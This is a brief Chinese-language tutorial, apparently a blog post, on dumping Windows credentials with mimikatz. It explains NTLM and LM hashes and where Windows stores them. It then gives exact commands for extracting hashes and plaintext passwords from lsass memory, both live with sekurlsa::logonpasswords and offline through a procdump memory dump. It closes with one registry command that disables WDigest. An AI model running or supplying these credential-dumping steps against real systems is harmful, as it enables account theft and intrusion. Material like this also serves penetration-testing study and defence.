利用mimikatz抓取密码及散列值

windows系统散列值获取

域环境中，用户信息存储在ntds.dit，加密成散列值(都为散列加密算法)
LM HASH：DES加密。明文密码限定在14为以内。不够字节用0补齐
NTLM HASH：MD4加密。

前提介绍

抓取密码之前，必须为最高权限。windows下用户名、散列值及其他安全信息都保存在SAM文件中。lsass.exe进程用于实现windows安全策略.

工具：

1. Mimikatz
2. Procdump（微软官方工具）

在线读取散列值及明文密码

C:\tools>mimikatz.exe
privilege::debug  //提权
log
sekurlsa::logonpasswords  //提取密码(散列值和hash)

离线读取lsass.dmp文件

1. procdump导出lsass.dmp文件
   procdump.exe -accepteula -ma lsass.exe lsass.dmp
   

2. 将lsass.dmp放置在mimikatz目录中，通过加载到mimikatz
   sekurlsa::minidump lsass.dmp
   

3. 导出密码散列值
   sekurlsa::logonpasswords full
   

防范

关闭wdigest，无法从内存中获得明文密码

reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 0 /f

 
GOT IT！持续更新~

 
******************************************************
具体利用方式需根据具体实践场景~